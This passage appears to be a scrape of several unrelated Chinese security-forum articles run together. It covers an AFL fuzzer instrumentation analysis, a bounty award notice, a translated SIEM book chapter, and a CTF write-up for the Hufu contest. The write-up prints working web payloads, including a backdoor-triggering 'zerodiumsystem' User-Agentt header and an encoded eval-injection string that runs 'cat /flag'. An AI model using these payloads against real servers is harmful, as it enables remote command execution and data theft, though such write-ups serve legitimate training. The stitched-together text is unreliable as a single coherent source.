7. 若`waitpid`函数返回`-1`，则函数出错，跳转`__afl_die`函数。
8. 调用`write(STRINGIFY((FORKSRV_FD + 1)),__afl_temp,4)`，即`write(199,__afl_temp,4)`，用以将四字节任意数据发送至状态管道，以告知父进程，此时本进程处于等待状态。
9. **跳回`__afl_fork_wait_loop`，即，进入循环。**
#### `__afl_fork_resume`函数
此函数用于恢复关闭两个状态管道并恢复现场。
__afl_fork_resume:
/* In child process: close fds, resume execution. */
movq $" STRINGIFY(FORKSRV_FD) ", %rdi
call close@PLT
movq $" STRINGIFY((FORKSRV_FD + 1)) ", %rdi
call close@PLT
popq %rdx
popq %rdx
movq %r12, %rsp
popq %r12
movq 0(%rsp), %rax
movq 8(%rsp), %rcx
movq 16(%rsp), %rdi
movq 32(%rsp), %rsi
movq 40(%rsp), %r8
movq 48(%rsp), %r9
movq 56(%rsp), %r10
movq 64(%rsp), %r11
movq 96(%rsp), %xmm0
movq 112(%rsp), %xmm1
movq 128(%rsp), %xmm2
movq 144(%rsp), %xmm3
movq 160(%rsp), %xmm4
movq 176(%rsp), %xmm5
movq 192(%rsp), %xmm6
movq 208(%rsp), %xmm7
movq 224(%rsp), %xmm8
movq 240(%rsp), %xmm9
movq 256(%rsp), %xmm10
movq 272(%rsp), %xmm11
movq 288(%rsp), %xmm12
movq 304(%rsp), %xmm13
movq 320(%rsp), %xmm14
movq 336(%rsp), %xmm15
leaq 352(%rsp), %rsp
jmp __afl_store
1. 调用`close(STRINGIFY(FORKSRV_FD))`和`close(STRINGIFY(FORKSRV_FD + 1))`，即调用`close(198)`和`close(199)`，关闭两个状态管道。
2. 弹出栈中的两个用于对齐的无用数据。(此数据在`__afl_forkserver`中被压栈)
3. 从`R12`寄存器中恢复`RSP`寄存器的值。(此值在`__afl_setup_first`中被保存)
4. 从栈中恢复所有在`__afl_setup_first`中被保存的寄存器值。
5. 回收在`__afl_setup_first`中被开辟的栈空间。
6. 跳转`__afl_store`函数。
#### `__afl_die`函数
__afl_die:
xorq %rax, %rax
call _exit@PLT
调用`exit(0)`退出。
#### `__afl_setup_abort`函数
__afl_setup_abort:
/* Record setup failure so that we don't keep calling
shmget() / shmat() over and over again. */
incb __afl_setup_failure(%rip)
movq %r12, %rsp
popq %r12
movq 0(%rsp), %rax
movq 8(%rsp), %rcx
movq 16(%rsp), %rdi
movq 32(%rsp), %rsi
movq 40(%rsp), %r8
movq 48(%rsp), %r9
movq 56(%rsp), %r10
movq 64(%rsp), %r11
movq 96(%rsp), %xmm0
movq 112(%rsp), %xmm1
movq 128(%rsp), %xmm2
movq 144(%rsp), %xmm3
movq 160(%rsp), %xmm4
movq 176(%rsp), %xmm5
movq 192(%rsp), %xmm6
movq 208(%rsp), %xmm7
movq 224(%rsp), %xmm8
movq 240(%rsp), %xmm9
movq 256(%rsp), %xmm10
movq 272(%rsp), %xmm11
movq 288(%rsp), %xmm12
movq 304(%rsp), %xmm13
movq 320(%rsp), %xmm14
movq 336(%rsp), %xmm15
leaq 352(%rsp), %rsp
jmp __afl_return
1. 将`AFL`初始化失败计数器`__afl_setup_failure`加1。
2. 从`R12`寄存器中恢复`RSP`寄存器的值。(此值在`__afl_setup_first`中被保存)
3. 从栈中恢复所有在`__afl_setup_first`中被保存的寄存器值。
4. 回收在`__afl_setup_first`中被开辟的栈空间。
5. 跳转`__afl_return`函数。
### `main_payload_64`代码总结
至此，`main_payload_64`的所有函数分析完毕，其流程图如下：
**P.S：凡是线有交叉的均使用了不同颜色的线进行标注。**
但事实上这只是`afl-as`对目标程序进行的插桩处理，正式进行`fuzz`时，还会有部分关键逻辑在`afl-fuzz`中，我将在日后对`afl-fuzz`进行分析时进行详述。
### `main_payload_32`代码分析
去除了对于`MacOS`以及`OpenBSD`的系统适配后，合并宏定义后代码整理结果如下：
/* --- AFL MAIN PAYLOAD (32-BIT) --- */
.text
.att_syntax
.code32
.align 8
__afl_maybe_log:
lahf
seto %al
/* Check if SHM region is already mapped. */
movl __afl_area_ptr, %edx
testl %edx, %edx
je __afl_setup
__afl_store:
/* Calculate and store hit for the code location specified in ecx. There
is a double-XOR way of doing this without tainting another register,
and we use it on 64-bit systems; but it's slower for 32-bit ones. */
#ifndef COVERAGE_ONLY
movl __afl_prev_loc, %edi
xorl %ecx, %edi
shrl $1, %ecx
movl %ecx, __afl_prev_loc
#else
movl %ecx, %edi
#endif /* ^!COVERAGE_ONLY */
#ifdef SKIP_COUNTS
orb $1, (%edx, %edi, 1)
#else
incb (%edx, %edi, 1)
#endif /* ^SKIP_COUNTS */
__afl_return:
addb $127, %al
sahf
ret
.align 8
__afl_setup:
/* Do not retry setup if we had previous failures. */
cmpb $0, __afl_setup_failure
jne __afl_return
/* Map SHM, jumping to __afl_setup_abort if something goes wrong.
We do not save FPU/MMX/SSE registers here, but hopefully, nobody
will notice this early in the game. */
pushl %eax
pushl %ecx
pushl $.AFL_SHM_ENV
call getenv
addl $4, %esp
testl %eax, %eax
je __afl_setup_abort
pushl %eax
call atoi
addl $4, %esp
pushl $0 /* shmat flags */
pushl $0 /* requested addr */
pushl %eax /* SHM ID */
call shmat
addl $12, %esp
cmpl $-1, %eax
je __afl_setup_abort
/* Store the address of the SHM region. */
movl %eax, __afl_area_ptr
movl %eax, %edx
popl %ecx
popl %eax
__afl_forkserver:
/* Enter the fork server mode to avoid the overhead of execve() calls. */
pushl %eax
pushl %ecx
pushl %edx
/* Phone home and tell the parent that we're OK. (Note that signals with
no SA_RESTART will mess it up). If this fails, assume that the fd is
closed because we were execve()d from an instrumented binary, or because
the parent doesn't want to use the fork server. */
pushl $4 /* length */
pushl $__afl_temp /* data */
pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */
call write
addl $12, %esp
cmpl $4, %eax
jne __afl_fork_resume
__afl_fork_wait_loop:
/* Wait for parent by reading from the pipe. Abort if read fails. */
pushl $4 /* length */
pushl $__afl_temp /* data */
pushl $" STRINGIFY(FORKSRV_FD) " /* file desc */
call read
addl $12, %esp
cmpl $4, %eax
jne __afl_die
/* Once woken up, create a clone of our process. This is an excellent use
case for syscall(__NR_clone, 0, CLONE_PARENT), but glibc boneheadedly
caches getpid() results and offers no way to update the value, breaking
abort(), raise(), and a bunch of other things :-( */
call fork
cmpl $0, %eax
jl __afl_die
je __afl_fork_resume
/* In parent process: write PID to pipe, then wait for child. */
movl %eax, __afl_fork_pid
pushl $4 /* length */
pushl $__afl_fork_pid /* data */
pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */
call write
addl $12, %esp
pushl $0 /* no flags */
pushl $__afl_temp /* status */
pushl __afl_fork_pid /* PID */
call waitpid
addl $12, %esp
cmpl $0, %eax
jle __afl_die
/* Relay wait status to pipe, then loop back. */
pushl $4 /* length */
pushl $__afl_temp /* data */
pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */
call write
addl $12, %esp
jmp __afl_fork_wait_loop
__afl_fork_resume:
/* In child process: close fds, resume execution. */
pushl $" STRINGIFY(FORKSRV_FD)
call close
pushl $" STRINGIFY((FORKSRV_FD + 1))
call close
addl $8, %esp
popl %edx
popl %ecx
popl %eax
jmp __afl_store
__afl_die:
xorl %eax, %eax
call _exit
__afl_setup_abort:
/* Record setup failure so that we don't keep calling
shmget() / shmat() over and over again. */
incb __afl_setup_failure
popl %ecx
popl %eax
jmp __afl_return
.AFL_VARS:
.comm __afl_area_ptr, 4, 32
.comm __afl_setup_failure, 1, 32
#ifndef COVERAGE_ONLY
.comm __afl_prev_loc, 4, 32
#endif /* !COVERAGE_ONLY */
.comm __afl_fork_pid, 4, 32
.comm __afl_temp, 4, 32
.AFL_SHM_ENV:
.asciz "SHM_ENV_VAR"
32位代码与64位代码大同小异，接下来进行分析
#### `__afl_maybe_log`函数
此函数主要负责保存现场并且检查共享内存是否已被分配。
__afl_maybe_log:
lahf
seto %al
/* Check if SHM region is already mapped. */
movl __afl_area_ptr, %edx
testl %edx, %edx
je __afl_setup
与64位代码完全相同，只不过保存共享内存指针的位置变成了`edx`
#### `__afl_store`函数
此函数主要负责记录命中桩代码的次数并计算其覆盖区域。
__afl_store:
/* Calculate and store hit for the code location specified in ecx. There
is a double-XOR way of doing this without tainting another register,
and we use it on 64-bit systems; but it's slower for 32-bit ones. */
#ifndef COVERAGE_ONLY
movl __afl_prev_loc, %edi
xorl %ecx, %edi
shrl $1, %ecx
movl %ecx, __afl_prev_loc
#else
movl %ecx, %edi
#endif /* ^!COVERAGE_ONLY */
#ifdef SKIP_COUNTS
orb $1, (%edx, %edi, 1)
#else
incb (%edx, %edi, 1)
#endif /* ^SKIP_COUNTS */
此处代码不再使用两次异或进行赋值，因为在32位下，异或的速度要慢于直接赋值。因此此处逻辑变为：
1. 当`COVERAGE_ONLY`标志未被设置：
1. 将`__afl_prev_loc(旧值)`的值存入`EDI`寄存器中。
2. 将`EDI ^ 随机数(ECX)`即`__afl_prev_loc(旧值) ^ 随机数(ECX)`的值存入`EDI`寄存器中。
3. 将`ECX(随机数)`中的值逻辑右移1位并存入`ECX`。
4. 将`ECX(右移过的随机数)`存入`__afl_prev_loc`中。
2. 若`COVERAGE_ONLY`标志被设置，直接将`ECX(随机数)`中的值存入`EDI`寄存器中。
3. 当`SKIP_COUNTS`标志被设置，将`[EDX + EDI * 1]`的值与1进行或操作并将结果存回原处。
4. 当`SKIP_COUNTS`标志未被设置，将`[EDX + EDI * 1]`的值增加1。
#### `__afl_return`函数
此函数主要负责AFL插入的桩代码返回。
__afl_return:
addb $127, %al
sahf
ret
与64位版本的`__afl_return`函数完全相同。
#### `__afl_setup`函数
此函数主要用于分配共享内存。
__afl_setup:
/* Do not retry setup if we had previous failures. */
cmpb $0, __afl_setup_failure
jne __afl_return
/* Map SHM, jumping to __afl_setup_abort if something goes wrong.
We do not save FPU/MMX/SSE registers here, but hopefully, nobody
will notice this early in the game. */
pushl %eax
pushl %ecx
pushl $.AFL_SHM_ENV
call getenv
addl $4, %esp
testl %eax, %eax
je __afl_setup_abort
pushl %eax
call atoi
addl $4, %esp
pushl $0 /* shmat flags */
pushl $0 /* requested addr */
pushl %eax /* SHM ID */
call shmat
addl $12, %esp
cmpl $-1, %eax
je __afl_setup_abort
/* Store the address of the SHM region. */
movl %eax, __afl_area_ptr
movl %eax, %edx
popl %ecx
popl %eax
此处与64位代码不同，我们不再进行文件全局指针的检查并在此函数就进行共享内存的分配工作，不再经过`__afl_setup_first`函数。
1. 检查`AFL`初始化失败计数器`__afl_setup_failure`的值是否为0，若不为0，则跳转进入`__afl_return`函数。
2. 保存`EAX`和`ECX`的值，将它们依次入栈。
* 此处我们没有保存`FPU/MMX/SSE`寄存器，但是在期望状态下，此时这三类寄存器应当未被改变。
* `FPU`: 8个80位浮点寄存器（数据），16位状态寄存器，16位控制寄存器，16为标识寄存器。
* `MMX`: 将8个FPU寄存器重命名为8个64位`MMX`寄存器，即`mm0`到`mm7`。[号称多媒体处理技术]
* `SSE`: 8个128位寄存器（从`xmm0`到`xmm7`），`MXSCR`寄存器，`EFLAGS`寄存器，专有指令。（复杂浮点运算）
3. 调用`getenv("SHM_ENV_VAR")`获取共享内存标识符，若返回空，则跳入`__afl_setup_abort`函数。
4. 否则，将共享内存标识符入栈，并调用`atoi`将其转换为数字。
5. 调用`shmat(EAX,0,0)`，即调用`shmat(atoi(getenv("SHM_ENV_VAR")),0,0)`来连接共享内存标识符所示的共享内存，连接成功后把共享内存区对象映射到调用进程的地址空间，随后可像本地空间一样访问。
6. 检查`shmat()`的返回值是否为`-1`，若为`-1`则表示共享内存分配失败，跳入`__afl_setup_abort`函数。
7. 将附加好的共享内存地址存入`EDX`寄存器以及`__afl_area_ptr`中
8. 从栈中恢复`EAX`和`ECX`的值。
#### `__afl_forkserver`函数
此函数主要用于栈内存对齐以及向状态管道写入四字节以告知父进程已经准备好了。
__afl_forkserver:
/* Enter the fork server mode to avoid the overhead of execve() calls. */
pushl %eax
pushl %ecx
pushl %edx
/* Phone home and tell the parent that we're OK. (Note that signals with
no SA_RESTART will mess it up). If this fails, assume that the fd is
closed because we were execve()d from an instrumented binary, or because
the parent doesn't want to use the fork server. */
pushl $4 /* length */
pushl $__afl_temp /* data */
pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */
call write
addl $12, %esp
cmpl $4, %eax
jne __afl_fork_resume
1. 保存`EAX`、`ECX`和`EDX`的值，将它们依次入栈。
2. 调用`write(STRINGIFY((FORKSRV_FD + 1)),__afl_temp,4)`，即`write(199,__afl_temp,4)`，用以将四字节任意数据发送至状态管道，以告知父进程，此时本进程处于就绪状态。
3. 检查实际写入字节数是否为4字节，若不为四字节，则跳转至`__afl_fork_resume`函数。
#### `__afl_fork_wait_loop`函数
此函数为AFL的桩代码主逻辑，且桩代码将在此处循环。
__afl_fork_wait_loop:
/* Wait for parent by reading from the pipe. Abort if read fails. */
pushl $4 /* length */
pushl $__afl_temp /* data */
pushl $" STRINGIFY(FORKSRV_FD) " /* file desc */
call read
addl $12, %esp
cmpl $4, %eax
jne __afl_die
/* Once woken up, create a clone of our process. This is an excellent use
case for syscall(__NR_clone, 0, CLONE_PARENT), but glibc boneheadedly
caches getpid() results and offers no way to update the value, breaking
abort(), raise(), and a bunch of other things :-( */
call fork
cmpl $0, %eax
jl __afl_die
je __afl_fork_resume
/* In parent process: write PID to pipe, then wait for child. */
movl %eax, __afl_fork_pid
pushl $4 /* length */
pushl $__afl_fork_pid /* data */
pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */
call write
addl $12, %esp
pushl $0 /* no flags */
pushl $__afl_temp /* status */
pushl __afl_fork_pid /* PID */
call waitpid
addl $12, %esp
cmpl $0, %eax
jle __afl_die
/* Relay wait status to pipe, then loop back. */
pushl $4 /* length */
pushl $__afl_temp /* data */
pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */
call write
addl $12, %esp
jmp __afl_fork_wait_loop
此函数除了因为函数调用约定导致的变化外，与64位`__afl_fork_wait_loop`函数逻辑相同，此处不再赘述。
#### `__afl_fork_resume`函数
此函数用于恢复关闭两个状态管道并恢复现场。
__afl_fork_resume:
/* In child process: close fds, resume execution. */
pushl $" STRINGIFY(FORKSRV_FD) "
call close
pushl $" STRINGIFY((FORKSRV_FD + 1)) "
call close
addl $8, %esp
popl %edx
popl %ecx
popl %eax
jmp __afl_store
1. 调用`close(STRINGIFY(FORKSRV_FD))`和`close(STRINGIFY(FORKSRV_FD + 1))`，即调用`close(198)`和`close(199)`，关闭两个状态管道。
2. 从栈中恢复`EDX`、`ECX`、`EAX`的寄存器值。(在`__afl_forkserver`函数中被保存)
3. 跳转`__afl_store`函数。
#### `__afl_die`函数
__afl_die:
xorl %eax, %eax
call _exit
调用`exit(0)`退出。
#### `__afl_setup_abort`函数
__afl_setup_abort:
/* Record setup failure so that we don't keep calling
shmget() / shmat() over and over again. */
incb __afl_setup_failure
popl %ecx
popl %eax
jmp __afl_return
1. 将`AFL`初始化失败计数器`__afl_setup_failure`加1。
2. 从栈中恢复`ECX`、`EAX`的寄存器值。(在`__afl_setup`函数中被保存)
3. 跳转`__afl_return`函数。
### `main_payload_32`代码总结
`main_payload_32`代码与64位代码相比，除了有部分因为调用约定导致的变化外，就是把桩代码初始化的过程完全移到了`__afl_setup`函数中，删除了`__afl_setup_first`函数。核心代码与逻辑并无区别。
### `afl-as`中的`add_instrumentation`函数收尾
现在我们把目光移回`afl-as`中的`add_instrumentation`函数，在完成主代码插桩后，还有最后一点代码：
if (ins_lines)
fputs(use_64bit ? main_payload_64 : main_payload_32, outf);
if (input_file) fclose(inf);
fclose(outf);
if (!be_quiet) {
if (!ins_lines) WARNF("No instrumentation targets found%s.",
pass_thru ? " (pass-thru mode)" : "");
else OKF("Instrumented %u locations (%s-bit, %s mode, ratio %u%%).",
ins_lines, use_64bit ? "64" : "32",
getenv("AFL_HARDEN") ? "hardened" :
(sanitizer ? "ASAN/MSAN" : "non-hardened"),
inst_ratio);
}
1. 主代码插桩结束后，检查待插桩文件的文件描述符是否已被关闭，若未被关闭，调用`fclose`进行关闭。
2. 调用`fclose`关闭已插桩文件。
3. 若`be_quiet`标志被设置，则输出插桩详情，包括忽略了哪些代码，插入的桩代码数等等
4. 返回主函数
### `afl-as`主函数收尾
`afl-as`中主函数在`add_instrumentation`函数返回后也还有最后一点代码：
if (!just_version) add_instrumentation();
if (!(pid = fork())) {
execvp(as_params[0], (char**)as_params);
FATAL("Oops, failed to execute '%s' - check your PATH", as_params[0]);
}
if (pid < 0) PFATAL("fork() failed");
if (waitpid(pid, &status, 0) <= 0) PFATAL("waitpid() failed");
if (!getenv("AFL_KEEP_ASSEMBLY")) unlink(modified_file);
exit(WEXITSTATUS(status));
1. 使用`fork`创建一个子进程，随后在子进程中使用之前在`edit_params`函数中拼接好的`as [args] <source.c>`进行最终可执行文件的生成。
2. 若`fork`返回值为负数，引发致命错误`"fork() failed"`，`afl-as`退出。
3. 使用`waitpid`阻塞主进程，等待子进程将可执行文件的生成过程运行结束，若返回值小于等于0，引发致命错误`"waitpid() failed"`，`afl-as`退出。
4. 若`"AFL_KEEP_ASSEMBLY"`环境变量不存在，将插桩后的汇编文件删除。
5. `afl-as`退出。
## 0x03 关于__afl_store函数的进一步解释
> 此部分引用zoniony师傅在AFL源码分析笔记(一)中的表述。
`__afl_store`函数的内部是用来记录程序执行路径的，那么如何判断这条路径（代码）执行过，后面还要根据这些记录对后面变异有帮助。既要节约空间又要有效率，那单链表之类的肯定不能用，AFL用的是二元`tuple`(跳转的源地址和目标地址)来记录分支信息。
例如：
> A->B->C->D->A-B
可以用`[A,B] [B,C] [C,D]
[D,A]`四个二元组表示，只需要记录跳转的源地址和目标地址。并且`[A,B]`执行了两次，其余执行了一次，这里用`hash`映射在一张`map`中。具体流程如下：
1. 为当前分支分配一个随机数$X_1$。
2. 此时内存中保存了上一个分支的随机数$X_2$，那么$X_1 \otimes X_2$就代表这个二元`tuple`的索引。那么`share_mem[`$X_1 \otimes X_2$`]++`就代表记录了此路径。
3. 但是考虑一种特殊情况`A->B->A`，此时，运算出的结果将为零。因此为了避免这个错误，需要在记录此路径后将此路径的随机数右移一位后再记录。即计算$X_1^{\prime} = X_1 >> 1$，然后记$X_1^{\prime}$为当前分支的随机数。
## 0x04 编译实例
接下来使用
CC=/home/error404/AFL/afl-gcc ./configure --disable-shared
make clean all
进行编译，可以看到`afl-gcc`确实被执行了，并且编译出的程序存在`AFL`桩代码
**PS：为了方便调试，我的`afl-gcc`添加了一些打印参数的语句，使用官方仓库时的回显可能与此处不同。**
## 0x04 后记
虽然网上有很多关于`AFL`源码的分析，但是绝大多数文章都是抽取了部分代码进行分析的，本文则逐行对源码进行了分析，下一篇文章将针对`afl-fuzz`源码做分析。
## 0x05 参考资料
[【原】AFL源码分析笔记(一) – zoniony](https://xz.aliyun.com/t/4628#toc-10) | 社区文章 |
亲爱的白帽子们，2017年2月份先知众测月度奖励获奖公告如下，恭喜以下得奖的白帽子。 已经结算啦。
先知昵称积分奖励金额xyz58010000Noxxx5208000Gr36_4807000男丶壹号4406000蛋蛋侠3205000汤圆3004000苏黎世2603000applychen2202000my5t3ry1701000ice160500
*积分相同按照先达到积分的时间排名。恭喜以上大牛们！！！ | 社区文章 |
# 甲方安全建设：信息安全与事件管理实施（连载2）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
传送门：<https://www.anquanke.com/post/id/222554>
### 终端安全
大多数SIEM系统可以监视终端是否安全，以集中验证系统“健康”的安全性。许多SIEM系统可以监视PC或服务器上的防火墙是否正在运行，并且可以识别防病毒软件定义的最后更新时间以及确认当其节点受到间谍软件感染的时间。一些SIEM系统甚至可以管理终端安全，对远程系统上节点的安全性进行调整和改进，例如配置防火墙以及更新和监视系统内节点上的防病毒软件、反间谍软件和反垃圾邮件产品。此外，一些SIEM系统可以下载并安装更新，或者在主动处置模式下在配置错误的个人防火墙上调整ACL。
### SIEM产品背后的市场推动力
在经济不景气的情况下，SIEM产品的市场份额仍在快速增长。如果您在IT行业工作，您可能会发现自己需要对SIEM系统的规范、选择、实现、监视和维护方面负责。由于这项技术在市场上相对较新，而市面上的出版物主要描述的内容通常为单一产品。本书将讨论SIEM系统的各个组成部分，以及满足SIEM系统一个或多个目标的产品和应用程序，呈现多个功能齐全的SIEM系统。
以下各章将讨论SIEM组件及系统的工作方式和内部原理。这些章节不仅描述SIEM的优点和缺点，还会列举一些实施问题上面临的困难，并对这些困难予以指导。本章最后将提供先进的技术建议，并提高这些不同组件应用程序和全功能SIEM系统分析的准确性和清晰度。
我们可以把SIEM系统形容为一个需要被理解和配置的野兽，但它确实是IT和安全专业人员应该关注的新兴技术之一。许多公司和政府部门现在选择使用这些工具来帮助他们管理和保障其IT系统的顺利运行。但事实上许多公司是被迫使用SIEM系统以此满足安全合规的要求，这样他们就可以避免政府或市场施加的罚款和处罚，并继续经营下去。
而那些需要SIEM系统提供的服务的公司，却负担不起完整的SIEM系统，或它需要有经验的员工来使用、维护和运营系统。好消息是，在这种情况下，有更小型的、更便宜的、独立的工具，可以拼凑在一起，以满足SIEM系统的许多功能需求。
如何正确地指定一个SIEM工具来同时满足不同企业的需求是一个令人生畏的挑战。而且你会发现随着时间的推移，这不仅是选择供应商和产品的问题，工具使用和管理的难度也会增加。本书专门为以下企业提供与SIEM相关的指导和解决方案：
_中小型企业、区域和部门_ _大型企业和部门_ _政府部门_
此外，本书将向您展示如何使用SIEM工具来发展商业智能(business
intelligence)——而不仅仅是一个花哨的IT安全或操作工具。如果部署得当，SIEM可以提供超越人能力的全面IT系统视觉聚合和关联分析能力，以及比人类速度更快、更准确的识别和鉴定。
### 回到投资
当然，这些功能集成和复杂的SIEM系统并不便宜。当您向管理层提出向环境中添加SIEM的建议时，管理层可能会要求您计算“投资回报率”（ROI）。不幸的是，SIEM更倾向于“避免成本”，而不是产生投资回报。因为SIEM更倾向于提供一个更完整的IT运营视角，保护公司内宝贵信息资产的安全，通过这些手段计算公司使用SIEM后将减少损失的数额。当面临计算一个合理的SIEM系统成本价格时，您必须确定这些可避免的成本（损失），并证明用SIEM可以消除部分或全部成本，这些部分或成本的价值通常会超过并抵消SIEM本身的价格：
_首先，使用SIEM的时候，它的监控、告警、分析、关联和报告功能都是自动化的。这些过程通常由SIEM执行，而不是由公司内部自主研发系统执行。如果没有SIEM系统，这些过程只能靠人工执行。而有了SIEM，您将在更少的时间内完成更重要的、满足合规要求的、与安全相关的工作。_
_其次，在您的公司必须遵守安全合规的要求下，SIEM系统可以帮助您识别和纠正不合规的系统和流程，并帮助您避免因违规带来的与合规相关的罚款和处罚。_
_最后，也许最重要的是，拥有和使用SIEM系统可以显著减少公司的攻击面。这与SIEM提供更快的识别、警报和响应能力相结合有关，它有助于降低公司存在安全疏漏的可能性，并将安全漏洞或其他危害类型事件期间可能发生的潜在损失降至最低。_
### 所以这本书讲述什么呢？
这本书的内容主要分成三个部分。这三个部分后面是附录。
#### 第一部分——SIEM简介：IT系统的威胁情报
本书的第一部分将向您介绍各种类型的业务模型，每种模型都有稍微不同的需求集合和安全问题，这些不同的需求集如何由SIEM系统中的组件来解决。您将研究不同的IT威胁模型、它们的攻击机制，了解信息资产损失是如何在IT系统中有意或无意地发生的。接下来，您将了解典型攻击的不同阶段，并学会识别正在进行的攻击有哪些迹象。这部分的内容会告诉您您应该在何处以及如何调整SIEM系统以便快速识别攻击。第一部分还介绍了与安全相关的法律和合规要求，着重于了解IT系统内安全需求的性质和了解可能会对系统产生负面影响的各种威胁。
#### 第二部分——使用SIEM系统获得威胁情报
在第二部分中，您将研究SIEM系统的各种功能，并将了解一些可以帮助您使用这些分散功能的产品和应用程序。这些解决方案更适合被中小型企业和部门采纳。因为一个功能齐全的SIEM系统对于许多公司来说太贵了，而且对于许多公司来说，维护起来又太复杂，因此这些公司更需要的是能满足他们最大程度上保障他们安全的部分关键SIEM产品。
从SIEM确认一个安全事件到这起事件需要引起安全分析工程师的的注意是需要一个响应的过程。考虑到这一点，第二部分继续研究事件响应的细节以及如何在响应中使用SIEM。您还需要考虑在事件自动响应过程中使用SIEM的好处和潜在风险。
最后，在第二部分中，您将探索使用SIEM系统由内向外扩展到公共领域的可能性，以发现专业、商业甚至政治信息、趋势，并最终可能让您比任何竞争对手提早得到结论性情报。
#### 第三部分——SIEM工具
在第三部分中，您将了解SIEM行业中四种领先产品的实现过程，它们先进的配置和分析技术：
__
开放系统安全信息管理（OSSIM），最近重组为AlienVault LLC, US and AlienVault Europe
_Cisco Systems提供的思科安全——监控、分析和响应系统，又名CS-MARS，_
_Q1 实验室的QRader_
_ArcSight公司的ArcSight企业安全管理（ESM）_
这些产品之所以之所以上升到市场的前列，都有其独特的优势，并实现了类似的实施空间，但每一种产品都有显著的技术差异。这些产品凭借的独特的优势满足相似的使用场景，他们所使用的技术又各有千秋，以此长期占据市场排名前茅。第三部分将探讨这些技术上的独特性，它们的的概念以及使用的专业术语。
即使您没有使用这些特定的产品，我们也鼓励您阅读并尝试理解这部分内容。
虽然为实现某一产品的特定目标而提出的技术可能与您想象的产品不同，对概念和目标本身的理解可能与您的环境相关，一旦为您的SIEM系统定义了正确的程序，您可能会发现系统的效率和效用都被提高了。
#### 安全分析的方式和方法
本附录首先介绍了如何培养你的思维方式和技能，以达到成为一名安全分析师的目标。本附录描述了包括对安全分析师所需的典型背景、专业研究领域、性格特征、安全分析师在公司中的角色概述，以及一些通常作为安全分析师简历组成部分的常见技术认证。以及一些在安全分析师简历上常见的技术认证。
接下来是几个案例，演示了安全分析员在处理各种升级为安全事件的安全事件时所使用SIEM系统，以及分析员如何使用SIEM系统来帮助响应事件过程。
### 您能从这本书中得到什么
了解这个复杂而强大的安全系统将使您成为IT运营部门和IT安全部门中更具价值的成员。正确部署、优化和监控的SIEM系统将有助于您和您的公司更好地了解IT系统，了解公司的安全状态，帮助您进行日志管理、监视、审核和报告以实现安全合规的要求，谨慎地降低IT系统的风险，以及在可能发生安全疏漏时将损失降至最低。
无论您是计划使用SIEM系统，还是已经在使用SIEM系统，在中小型或大型企业、部门或政府机构中，或者您正在学习以扩展您的专业视野和开辟新的职业道路上，这本书可以提供有价值的见解和技能，使您和您的公司受益。 | 社区文章 |
# 虎符网络安全技能大赛By 天璇Merak
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## WEB
### 签到
题目来源是一个新闻，
<https://sourl.cn/tuYCCf>
可以得知我们通过
所以直接user-agentt: zerodiumsystem("cat /flag");
即可。
### unsetme
看一下是fatfree模板
我们下载一下源码
可以发现如果我们传入的变量a
unset之后就会触发
之后触发clear方法
我们在下方可以看见
eval函数导致命令执行
之后在compile会发现有过滤
我们构造一下正则表达即可绕过过滤
0%0a);echo%20`cat%20/flag`;print(%27%27
得到flag
## Misc
### 你会日志分析吗
sql盲注看着时间戳就可以
import base64
flag=""
with open('access.log','r') as file:
ans = ""
req = file.readlines()
#print(req[52:3821])
req=req[51:]
for i in range(len(req)):
if "[11/Mar/2021" in req[i]:
if abs(int(req[i-1].split('[11/Mar/2021')[1][7:9])+60*abs((int(req[i-1].split('[11/Mar/2021')[1][5])-int(req[i].split('[11/Mar/2021')[1][5])))- int(req[i].split('[11/Mar/2021')[1][7:9]))>1.5 and abs(int(req[i-1].split('[11/Mar/2021')[1][7:9])+60*abs((int(req[i-1].split('[11/Mar/2021')[1][5])-int(req[i].split('[11/Mar/2021')[1][5])))- int(req[i].split('[11/Mar/2021')[1][7:9]))<7 :
tmp=req[i-1].split((')='))[1][0:3]
if tmp[2]!=",":
tmp=tmp+","
ans=ans+tmp
temp=""
print(ans)
for i in ans:
if i==",":
flag=flag+chr(int(temp))
temp=""
if i!=",":
temp=temp+i
flag=flag.split('flag')[1]
print(base64.b64decode(flag))
## Reverse
### re
看起来写的非常复杂，实际上只是填了一个表，每行256个数字，长度和输入有关，输入是14字节
实际上就是在第i行(从0开始)第x填上一个i+1，x是输入的ascii码
然后后面的比较就是必须一整串对比下来，其实就是个字符串对比的过程，最后返回的是偏移
由于要求偏移是7，直接从输入的a1字符串第7个字符开始切下来14个字节就是flag了
flag{Ninja Must Die}
### gocrypt
使用了go来编写程序，没有去除符号，直接看就可以了，flag格式uuid，提取出了字符成字节数据，然后加密
找到Encrypt函数，发现是变体TEA，直接逆就完事了
直接dump出数据解密，然后注意下字节序就行
### CrackMe
* 输入要求 17 个字符
* 随便输一串之后发现还有一次输入，这次输入的是个int，紧跟着就是校验，且成功与否与第一次输入无关
* 由于输入的是 int，立马想到爆破（？
* 写个 idapython 脚本爆出来
import ida_dbg
import idc
class MyDbgHook(ida_dbg.DBG_Hooks):
def __init__(self):
ida_dbg.DBG_Hooks.__init__(self) # important
self.guess = 0
self.cin1_addr = 0x140001658
self.cin2_addr = 0x140001762
self.before_cin2 = 0x14000175B
self.after_cin2 = 0x140001768
self.chk_addr = 0x14000184E
def log(self, msg):
print(">>> %s" % msg)
def dbg_bpt(self, tid, ea):
if ea == self.cin1_addr:
self.reset()
elif ea == self.cin2_addr:
ida_dbg.set_reg_val('rip', self.after_cin2)
rsp = ida_dbg.get_reg_val('rsp')
idc.patch_qword(rsp+0x40, self.guess)
self.continue_process()
elif ea == self.chk_addr:
ebx = ida_dbg.get_reg_val('ebx')
eax = ida_dbg.get_reg_val('eax')
if ebx != 80643:
self.guess += 12379
self.reset()
elif eax != 1442:
self.guess += 1
self.reset()
else:
self.log(str(self.guess))
self.continue_process()
return 0
def continue_process(self):
pass
def reset(self):
ida_dbg.set_reg_val('rip', self.before_cin2)
self.continue_process()
def dbg_process_exit(self, *args):
self.unhook()
self.log("unhooked")
# Install the debug hook
debughook = MyDbgHook()
debughook.hook()
ida_dbg.request_start_process()
